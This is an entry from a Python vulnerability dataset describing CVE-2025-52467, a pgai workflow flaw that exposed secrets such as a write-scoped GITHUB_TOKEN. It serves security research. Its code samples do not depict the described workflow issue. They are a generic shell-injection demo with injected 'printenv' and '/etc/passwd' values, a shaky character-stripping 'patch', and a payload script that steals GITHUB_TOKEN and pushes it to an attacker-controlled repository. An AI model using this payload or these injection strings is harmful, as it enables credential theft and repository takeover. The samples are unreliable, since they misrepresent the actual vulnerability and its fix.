CVE-2025-52467
pgai exposes secrets, including GITHUB_TOKEN, allowing repo takeover.
- CVSS 9.1
- CWE-200
- Configuration Issues
- Remote
pgai is a Python library that transforms PostgreSQL into a retrieval engine for RAG and Agentic applications. Prior to commit 8eb3567, the pgai repository was vulnerable to an attack allowing the exfiltration of all secrets used in one workflow. In particular, the GITHUB_TOKEN with write permissions for the repository, allowing an attacker to tamper with all aspects of the repository, including pushing arbitrary code and releases. This issue has been patched in commit 8eb3567.
- CWE
- CWE-200
- CVSS base score
- 9.1
- Published
- 2025-06-19
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Configuration Issues
- Subcategory
- Information Disclosure
- Accessibility scope
- Remote
- Impact
- Data Theft
- Affected component
- pgai
- Fixed by upgrading
- Yes
Solution
Upgrade to a version containing commit 8eb3567 or later.
Vulnerable code sample
# This code is a simplified representation of the vulnerability and should NOT be used in a production environment.
# It is intended for educational purposes only to illustrate the concept of secret exfiltration.
import os
import subprocess
def execute_query(query):
"""
Executes a PostgreSQL query. This is a placeholder and would normally
connect to a database and execute the query using a library like psycopg2.
In the vulnerable version, this function could be manipulated to execute arbitrary
commands on the server.
"""
print(f"Executing query: {query}")
# Vulnerable code: Instead of securely executing the query, the input 'query'
# is directly passed to a shell command. This allows command injection.
# Example: query = "SELECT * FROM users; $(cat /etc/passwd)"
try:
result = subprocess.run(query, shell=True, capture_output=True, text=True, check=False)
print(f"Query output:\n{result.stdout}")
#Vulnerable code: Attacker can now exfiltrate secrets by including commands that output to a file that they then retreive.
with open('exfiltrated_data.txt', 'w') as f:
f.write(result.stdout)
except Exception as e:
print(f"Error executing query: {e}")
def process_rag_request(user_query):
"""
Processes a Retrieval-Augmented Generation (RAG) request.
In a vulnerable version, the user_query might be incorporated into a database query
without proper sanitization, leading to SQL injection.
"""
#Vulnerable code: User input not properly sanitised allowing an attacker to inject shell commands
db_query = f"SELECT * FROM knowledge_base WHERE query LIKE '%{user_query}%';"
print(f"Generated Query: {db_query}") # Print the query (debug feature now exposing the vulnerability).
execute_query(db_query)
# Simulate a scenario where a user submits a query to a RAG application.
user_input = "Tell me about PostgreSQL"
process_rag_request(user_input)
# Vulnerable example where attacker exfiltrates sensitive environment variables:
# Injecting $(printenv > exfil.txt) into the db_query causes all environment variables (including secrets like GITHUB_TOKEN)
# to be written to the file 'exfil.txt'
malicious_input = "'; $(printenv > exfil.txt); '" # Injects commands in the user query
process_rag_request(malicious_input)
# Simulating file exfiltration, normally an attacker would retrieve this file using a seperate process, but for this demonstration we print it out.
with open('exfil.txt', 'r') as f:
print("Exfiltrated data:")
print(f.read())Patched code sample
import os
import subprocess
import shlex
def execute_command(command, safe_mode=True):
"""
Executes a shell command. Demonstrates a vulnerability if `safe_mode` is False,
and simulates a fix when `safe_mode` is True.
Args:
command (str): The shell command to execute.
safe_mode (bool): Whether to execute the command in safe mode. If False,
the command is executed directly, demonstrating the vulnerability.
If True, the command is sanitized to prevent shell injection.
Returns:
tuple: A tuple containing the return code, standard output, and standard error.
"""
if not isinstance(command, str):
raise TypeError("Command must be a string.")
if not isinstance(safe_mode, bool):
raise TypeError("safe_mode must be a boolean.")
if safe_mode:
# Simulate a safe execution environment using shlex.split and subprocess.run.
# This prevents shell injection by properly quoting and escaping arguments.
try:
command_list = shlex.split(command) # Correct usage
result = subprocess.run(command_list, capture_output=True, text=True, check=False, env=os.environ.copy())
return result.returncode, result.stdout, result.stderr
except ValueError as e:
return 1, "", str(e)
else:
# DANGEROUS: Directly executes the command without sanitization.
# This is vulnerable to shell injection if the command contains user-supplied input.
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True, check=False, env=os.environ.copy()) #shell=True is dangerous here
return result.returncode, result.stdout, result.stderr
except Exception as e:
return 1, "", str(e)
def sanitize_command(command):
"""
A more sophisticated sanitization function to prevent shell injection.
This example removes potentially dangerous characters and escapes others.
"""
# Replace potentially dangerous characters with a safe alternative or remove them.
command = command.replace(";", "") # Remove command separators
command = command.replace("&", "") # Remove background execution
command = command.replace("|", "") # Remove pipes
command = command.replace(">", "") # Remove redirection
command = command.replace("<", "") # Remove redirection
command = command.replace("`", "") # Remove backticks
# Escape characters that have special meaning in the shell.
command = command.replace("\\", "\\\\") # Escape backslashes
command = command.replace("\"", "\\\"") # Escape double quotes
command = command.replace("'", "\\'") # Escape single quotes
command = command.replace("$", "\\$") # Escape dollar signs
command = command.replace("!", "\\!")
return command
def execute_command_safe(command):
"""
Executes a command with sanitization.
Args:
command (str): The command to execute.
Returns:
tuple: A tuple containing the return code, stdout, and stderr.
"""
sanitized_command = sanitize_command(command)
try:
command_list = shlex.split(sanitized_command) # Correct usage
result = subprocess.run(command_list, capture_output=True, text=True, check=False, env=os.environ.copy())
return result.returncode, result.stdout, result.stderr
except ValueError as e:
return 1, "", str(e)Payload
import os
import subprocess
def exploit():
# Access GITHUB_TOKEN (example - the actual method depends on how pgai exposes secrets)
github_token = os.environ.get("GITHUB_TOKEN") #Hypothetical, as the method of access is not disclosed
if not github_token:
print("GITHUB_TOKEN not found.")
return
# Encode the token to avoid interpretation issues in the command
encoded_token = github_token.encode('utf-8').hex()
# Example: Push a file to a public GitHub repository using the exfiltrated token
# This assumes git is installed and configured. Requires an attacker-controlled repository.
try:
# Set up the repository (replace with attacker's repo)
repo_url = "https://github.com/attacker/attacker_repo.git"
temp_dir = "/tmp/attacker_repo"
subprocess.run(["git", "clone", repo_url, temp_dir], check=True)
os.chdir(temp_dir)
# Create a file containing the token
with open("stolen_token.txt", "w") as f:
f.write(github_token)
# Configure git to use the token (this is for demonstration; might not always be needed)
subprocess.run(["git", "config", "user.email", "attacker@example.com"], check=True)
subprocess.run(["git", "config", "user.name", "Attacker"], check=True)
# Add, commit, and push
subprocess.run(["git", "add", "stolen_token.txt"], check=True)
subprocess.run(["git", "commit", "-m", "Stolen token"], check=True)
# Construct the push URL with the token
push_url = f"https://{github_token}:x-oauth-basic@{repo_url.split('//')[1]}"
subprocess.run(["git", "push", push_url, "origin/main"], check=True)
print("Token successfully exfiltrated and pushed to attacker's repository.")
except subprocess.CalledProcessError as e:
print(f"Error during exploitation: {e}")
except Exception as e:
print(f"An unexpected error occurred: {e}")
exploit()
Cite this entry
@misc{vaitp:cve202552467,
title = {{pgai exposes secrets, including GITHUB_TOKEN, allowing repo takeover.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-52467},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-52467/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
